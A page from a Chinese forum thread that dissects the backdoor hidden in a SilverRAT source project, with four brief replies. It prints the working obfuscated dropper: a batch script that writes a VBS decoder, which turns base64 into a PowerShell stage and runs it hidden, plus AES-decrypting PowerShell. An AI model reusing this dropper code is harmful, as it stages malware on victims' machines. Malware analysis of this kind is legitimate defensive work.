首页| 论坛| 搜索| 消息
主题:SilverRAT源码工程后门赏析
z3960发表于 2025-06-08 08:57
5OS2lOR2ZzRy9rSllPUXEyQkdkTy9zSEtZTTdiWWQ5N09rSURZKzl6bDJScTA1K2VMd2p5QzM3VlNpOVVGYWVQR0gyS0tINWpYcnhNZjJ2dE5rRWtTZlZ3WXNnNDFrMy9NYjk5R1NzZjYvMkxocVlsVmpHOEJ6bGJsaUdGcUhSZzZPYjFsdnBDWGpRSEE4QytlVmtsWVFEdEx5Mkh0OFZsQjdLaXF0ZFppaEdrY28zVjZENFRNU2RWalBodSsyM2d6TkI1NFYrQkpuaWdKMlJpNTBVYzUxK2JRMmN2dEpHbmNpb1dmRUZEWFgxMFhsaEFNcm5jUGJaQTZWRk1jOGxDYi9KVHF1UEN0RjJxL1hyU1hNYXBLL0lvVEF2MU0rL1RtblFtQkNCa1VqbUlGSXZzU1MxZktPL2ZSVkJXU05GNWVGSFFycEMvdEJqL0FDNldOc0gxNlZnd21vQ1VzdU05MDM4N1J0b0xzM2JpODNxeWhPVGs1OWE2cFhvTUJpUENXOXZ2R0VpNUljRUhXcW5DQlVzNE1FYWxYdndLcGlsVDcrdElxL1JxMlVPaHhCNjNEVlJlUGFNMTZCZ2lOd1BncGlud3hqd0k5ZlVFdVBYb3ZKTnMrenhFN0JkTU43RVJYTzNVblZQM1ErZzRianJiWXFzWUJnUm5UdElucEpjSjVDSEVOSis1ZXlDc0RJZ2dYV1F3K0R2VTRBZ09zUUlXL2hNK0Fha1FrMU50MnVBT0tYUGJyWEpyTUlZWXo1UHlLVWpEekl2R3phSE9zUmZ0d21YSU54ZHdMY2FJQitmOGVNTjlVaFJRbGt6b3F4MHE4QWxFL1hZeXIwc3dWbzBpR0N4NVBvTjdHTUZFVFJOZk5mbG1hWEgrQk10M1QvUmlkWkV6ZTBRdDhTRWhnNkFCQ21IZ3QrdnJWNjRRK0NlYUxiZTBuYmJEbER6d2ptSFltVllTcTdXZW1rK2R1aGYxK1hObVhtNCtSZDlaVWdNN21wcGxCY1VsSS96dm94RUdZKzcwU05Gb25sOWZvakdrdDRFdmJrMUNvYm43dGtnczBjbWh4QmRkUkNyakxOY014bGE4T2xxeDI1amxwZGNCREMxZ1MwZS83c3NyTk14L3hMdGJ6dkltUmJWMWpHaXhLMk1WS1R0N1lpVU13L1FnQTRCenk4dTcycGI1cHRWc2M0cHRob2tUekdaMVo1YkhhbTZSeUhKK3MrZytFbEkzcW02Vm9qVnhTSmMxci9lMVRIR2hYSlRVYk41OGtrZ21iQldHenN3d1ZHb2orVk5iRlV0MVE2TUxENGlEWnYrczd5djBiMWU5QnA5Z0FGSGc4M09vVGc3d3VLTGFMTXhqL2FBRzBuQlBydTRBa04xZkVkSXcvb1hFYXptdWdVcXNtc2xYYU92OHA4VHFZUjhsMmp6bVBkcnlxSXB5Q1JZOGtHT3VaK3kyTEFKY1pzMUMyeHZacVZBL1NRR21NWjdIQnB1RlE5cklrMEtIQnFYUnpuL0tJMmJRbENDVlFzSGhmVUZnL2FaRDlQMWZaaHJUM2ZobEs4ajJibC9scTVBTkJjQ1VKcE5Kb1RDQW1XbmRycnRJbGRIVnRpMnYyTlNXSFBzNzRUeGNrUmRsdndsdmlIUmFvWXprOWRiNDNUamhoZVZtcThKeURNdlR3TWNHZitOUzg5Q09iUk9wd095eHdxc3I1ZGJLdkNWdzZLaEU4R1VjN0lHNjc5SFZCcDZldzlnK25YeS8zWDJYQ3pQVi8rTCtRbmMxVFdFSjZ4cER0YzluTExZbDNURnJBelZaTzJteGFCNTRCQ0lIUW9nZ1R5RmZjYkVUV2ZIZjQ1UmdTUk5STk10a3lDdVJUQ2thWkV1NFQ2YWtLL0ZWRVhCSjl1WHV0eHFuUUJlZmYrUnNQckNpNFI4b3ZnaUxIaTVsczM3OGsrdWhiaGxlVUJwK2tCd1c5aEFpN1pmTERZQ0MrRG1OSjFIKzRyY2pXT09LRDZvazNLVUorK2RpaVdhcXFqclh2SEI4SWpwSEh2Z0xDSjAxa01tR2FNU3loSFFQWCtQcFFhSjU5ZUxYcnl1TEpodzR6Rkd6R3VLTkNRT2lsY1pnb05CK1I0WTlJb1ZhbUxMd29sV1hQeXU3WnBhYUtSS1E0VlJwNEhkekpPOCtQMy9IWmcvY2pJK2FPbmpHdzBTd29maWVidlc1UkJZNUtZWHJTYkxRNmN1cURqbFNNaVBpb25lRzFoTGd5YTdDRy9hUFNFV0FlN2xPRUlhRHNMdDgvbFdOYitDbjFvbllzRWVOOEovY2lvZEJhSmRVTEdBK1ZlWmoxQXM3TnhUY0R0L3h6eWpVQm1JLzhubHFsUXAzUTVpVHRhaWRyVTZ2aXB3dkJ5M3dYUURrMGRxNThLSmZ6R04vMU5QTVZVR0NzTGlkNVVHRkFLbXk1THdDbXJNVm9NSFVtTXVPYy9oSWZVOUl0bnVJSEMyNkhuS21YQzV6N2pmVlYwT24rOEVReVEwemw3NGVIWUpKUjV1RWRSVEhIYU9P" >> "%a%b.vbs"echo e = b ^& d ^& c >> "%a%b.vbs"echo Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64") >> "%a%b.vbs"echo f.DataType = "bin.base64" >> "%a%b.vbs"echo f.Text = e >> "%a%b.vbs"echo g = f.NodeTypedValue >> "%a%b.vbs"echo h = "%a%i.ps1" >> "%a%b.vbs"echo Set j = CreateObject("Scripting.FileSystemObject") >> "%a%b.vbs"echo Set k = j.CreateTextFile(h, True) >> "%a%b.vbs"echo k.Write l(g) >> "%a%b.vbs"echo k.Close >> "%a%b.vbs"echo Set m = CreateObject("WScript.Shell") >> "%a%b.vbs"echo m.Run "powershell.exe -ExecutionPolicy Bypass -File " ^& h, 0, False >> "%a%b.vbs"echo Function l(n) >> "%a%b.vbs"echo Dim o, p >> "%a%b.vbs"echo Set o = CreateObject("ADODB.Recordset") >> "%a%b.vbs"echo p = LenB(n) >> "%a%b.vbs"echo If p ^> 0 Then >> "%a%b.vbs"echo o.Fields.Append "q", 201, p >> "%a%b.vbs"echo o.Open >> "%a%b.vbs"echo o.AddNew >> "%a%b.vbs"echo o("q").AppendChunk n >> "%a%b.vbs"echo o.Update >> "%a%b.vbs"echo l = o("q").GetChunk(p) >> "%a%b.vbs"echo Else >> "%a%b.vbs"echo l = "" >> "%a%b.vbs"echo End If >> "%a%b.vbs"echo End Function >> "%a%b.vbs"cscript //nologo "%a%b.vbs" endlocal去掉最后一行执行的命令cscript //nologo "%a%b.vbs" endlocal把"%a%b.vbs"替换为b.txt,然后把上述代码保存为bat运行一下得到vbs脚本
纯文本查看 复制代码
?010203040506070809101112131415161718192021222324252627282930b = "ZnVuY3Rpb24gRFZLIHtwYXJhbSAoW3N0cmluZ10kZW4sW2J5dGVbXV0kc0IpOyRrID0gTmV3LU9iamVjdCBieXRlW10gMzI7JHYgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNjskZGVyaXZlQnl0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmZjMjg5OERlcml2ZUJ5dGVzKCRlbiwgJHNCLCAxMDAwLCBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5IYXNoQWxnb3JpdGhtTmFtZV06OlNIQTI1Nik7JGsgPSAkZGVyaXZlQnl0ZXMuR2V0Qnl0ZXMoMzIpOyR2ID0gJGRlcml2ZUJ5dGVzLkdldEJ5dGVzKDE2KTtyZXR1cm4gQHsgSyA9ICRrOyBWID0gJHYgfX07ZnVuY3Rpb24gRCB7cGFyYW0gKFtzdHJpbmddJGVCWixbc3RyaW5nXSRlbmMpOyRkQnkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlQlopOyRzYnkgPSAkZEJ5WzAuLjddOyRlQnkgPSAkZEJ5WzguLigkZEJ5Lkxlbmd0aCAtIDEpXTskZHJ2ID0gRFZLIC1lbiAkZW5jIC1zQiAkc2J5OyRrID0gJGRydi5LOyR2ID0gJGRydi5WOyRhID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGEuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7JGEuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7JGEuS2V5ID0gJGs7JGEuSVYgPSAkdjskZGMgPSAkYS5DcmVhdGVEZWNyeXB0b3IoKTt0cnkgeyRkQiA9ICRkYy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRlQnksIDAsICRlQnkuTGVuZ3RoKTtyZXR1cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRCKX0gY2F0Y2gge3JldHVybiAkbnVsbH19JGVCID0gImlRNElUWE5lWUZqV0pMOFVieDZpa1ArV2hvS1d1Mk41VWtQNG9QZjh1OFZFUi9Hc0IwZWhmcEVsZTlIODdxU0JhVjZYTUFjUFFjZVlHNjVrWjJjUitmYmVJS25PMU43Z2FuaERjdHNxdXU1UVNremJDbzdRekIrRmdELzQxamVSVjV6L1NtMU0zVWt0aGFhK2F4SWJad0tBek9Nc0V4VjlETTVxNGRLNEdVZmZkZTJiQis4RktuS3krU2ZhYzkvaEQyTDE2TzVDK3l6S2FNUUZuaWkxb3hkZHdGSWc0dHFLVE9ScXNHcGxPdmdoSUR4WTBBUWhvYjFxWkRYdzZSUkpXcTY2dFhNQWJrM3UrOVYxdUF4cFFVeHgzU1BaVTcra01ySDVlR0Mzbkk3VkdnSHpHcmlBWlZCdmJZbS9QbHlqQ0xpell5K1lJbjBRZlhQUVpmL1hUY1Zk
下一页上一页  (2/10)
回帖(4):
4 # hanxiao129
06-12 13:19
每天的知识都是新鲜的
3 # hanxiao129
06-12 13:19
今天又学了不少新知识
2 # huwg
06-09 02:23
谢谢分享
1 # huwg
06-09 02:23
来看看了

全部回帖(4)»
最新回帖
收藏本帖
发新帖